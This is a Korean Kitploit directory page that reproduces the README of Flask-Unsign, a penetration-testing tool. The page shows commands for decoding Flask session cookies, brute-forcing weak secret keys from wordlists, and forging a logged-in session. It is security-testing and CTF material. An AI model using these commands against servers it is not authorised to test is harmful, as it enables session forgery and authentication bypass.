Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Flask-Unsign — 비밀 키를 추측하여 Flask 애플리케이션의 세션 쿠키를 가져오고, 디코딩하고, 무차별 대입하고, 제작하는 명령줄 도구. | Kitploit
도구/GitHubGitHub/paradoxis/flask-unsign
Password AttacksWeb Application ExploitationCTFPenetration Testing
GitHubparadoxis/flask-unsign

Flask-Unsign

비밀 키를 추측하여 Flask 애플리케이션의 세션 쿠키를 가져오고, 디코딩하고, 무차별 대입하고, 제작하는 명령줄 도구.

저장소 보기웹사이트
660481년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Flask Unsign

Build Status PyPI version codecov

Flask 애플리케이션의 세션 쿠키를 비밀 키 추측을 통해 가져오고, 디코딩하고, 무차별 대입하고, 제작하는 명령줄 도구입니다. 독립형 워드리스트 구성 요소는 flask-unsign-wordlist 저장소를 참조하세요.

요구 사항

  • Python 3.6+

설치

애플리케이션을 설치하려면 pip를 사용하면 됩니다:

root@kitploit:~
$ pip3 install flask-unsign[wordlist]

핵심 코드만 설치하려면 [wordlist] 접미사를 생략하세요:

root@kitploit:~
$ pip3 install flask-unsign

개발 목적으로 도구를 설치하려면 (사본을 다운로드한 후) 다음 명령을 실행하세요:

root@kitploit:~
$ pip3 install -e .[test]

사용법

사용 가능한 모든 옵션을 확인하려면 인수 없이 flask-unsign을 다음과 같이 호출하면 됩니다:

root@kitploit:~
$ flask-unsign

세션 쿠키 획득 및 디코딩

Flask 쿠키는 서명되어 있고 암호화되지 않으므로 세션 데이터를 로컬에서 디코딩할 수 있습니다. 이를 위해 --decode 인수를 사용할 수 있습니다.

세션 쿠키는 Burp Proxy와 같은 프록시로 HTTP 요청을 검사하거나, 브라우저의 네트워크 검사기 또는 쿠키를 보고/변경할 수 있는 브라우저 확장 프로그램을 사용하여 얻을 수 있습니다. 기본적으로 Flask는 세션 이름 "session"을 사용합니다.

root@kitploit:~
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

--cookie 인수 대신 --server 인수를 전달하여 Flask-Unsign의 자동 세션 가져오기 기능을 사용할 수도 있습니다. 단, 모든 웹 페이지가 세션을 반환하는 것은 아니므로, 세션을 반환하는 URL을 전달해야 합니다.

root@kitploit:~
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

서명 해제 (비밀 키 무차별 대입)

샘플 세션 쿠키를 획득한 후 서버의 비밀 키를 무차별 대입으로 공격해볼 수 있습니다. 운이 좋다면 비밀 키가 추측하기 쉬운 값으로 설정되어 있거나, 온라인에서 발견된 값이라면 워드리스트 중 하나에 포함되어 있을 수 있습니다. 이를 위해 --unsign 인수를 사용할 수 있습니다.

root@kitploit:~
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

서명 (세션 변조)

서버의 비밀 키를 획득하면 나만의 커스텀 세션 데이터를 제작할 수 있습니다. 이를 위해 --sign 인수를 사용할 수 있습니다.

root@kitploit:~
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

문제 해결

  • 프로그램 설치 중 오류가 발생합니다
    • 잘못된 pip 바이너리를 사용하고 있을 수 있습니다. 다음 명령을 사용해 보세요: python3.6 -m pip install flask-unsign
  • 비밀 키를 찾았는데 제작한 세션이 작동하지 않습니다!
    • 대상 서버가 이전 버전의 itsdangerous를 사용하고 있을 수 있습니다. 시간 제한 세션의 문제로 인해 타임스탬프 생성 알고리즘이 변경되었습니다. 이전 서명을 생성하려면 --legacy 옵션을 사용해 보세요.
  • 워드리스트가 작동하지 않습니다
    • 워드리스트는 줄바꿈으로 구분된 파이썬 문자열이어야 합니다 (즉, 따옴표로 묶어야 합니다). 이는 바이너리 문자열을 줄바꿈 형식으로 쉽게 저장하기 위한 것입니다. 이 기능을 원하지 않으면 --no-literal-eval 인수를 전달하여 비활성화할 수 있습니다.

작동 원리

이것이 정확히 어떻게 작동하는지 궁금하다면, 이 공격으로부터 자신의 서버를 보호하는 방법에 대한 가이드를 포함하여 자세히 설명하는 블로그 게시물을 참조하세요.

라이선스

MIT 라이선스

Copyright (c) 2021 Luke Paris (Paradoxis)

이로써 본 소프트웨어 및 관련 문서 파일(이하 "소프트웨어")의 사본을 얻는 모든 사람에게 무료로 허가가 부여되며, 소프트웨어를 제한 없이 다룰 수 있는 권리(사용, 복사, 수정, 병합, 게시, 배포, 재라이선스 및/또는 판매할 권리와 소프트웨어를 제공받은 사람이 이를 행사할 수 있도록 허용할 권리 포함)가 부여되며, 다음 조건을 따릅니다:

위 저작권 고지 및 본 허가 고지는 소프트웨어의 모든 사본 또는 상당 부분에 포함되어야 합니다.

소프트웨어는 "있는 그대로" 제공되며, 상품성, 특정 목적 적합성 및 비침해에 대한 보증을 포함하되 이에 국한되지 않는 명시적 또는 묵시적 보증 없이 제공됩니다. 어떠한 경우에도 저자 또는 저작권 보유자는 계약, 불법 행위 또는 기타 행위로 인해 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다. 이는 소프트웨어 사용 또는 기타 거래와 관련하여 발생합니다.

도구 다운로드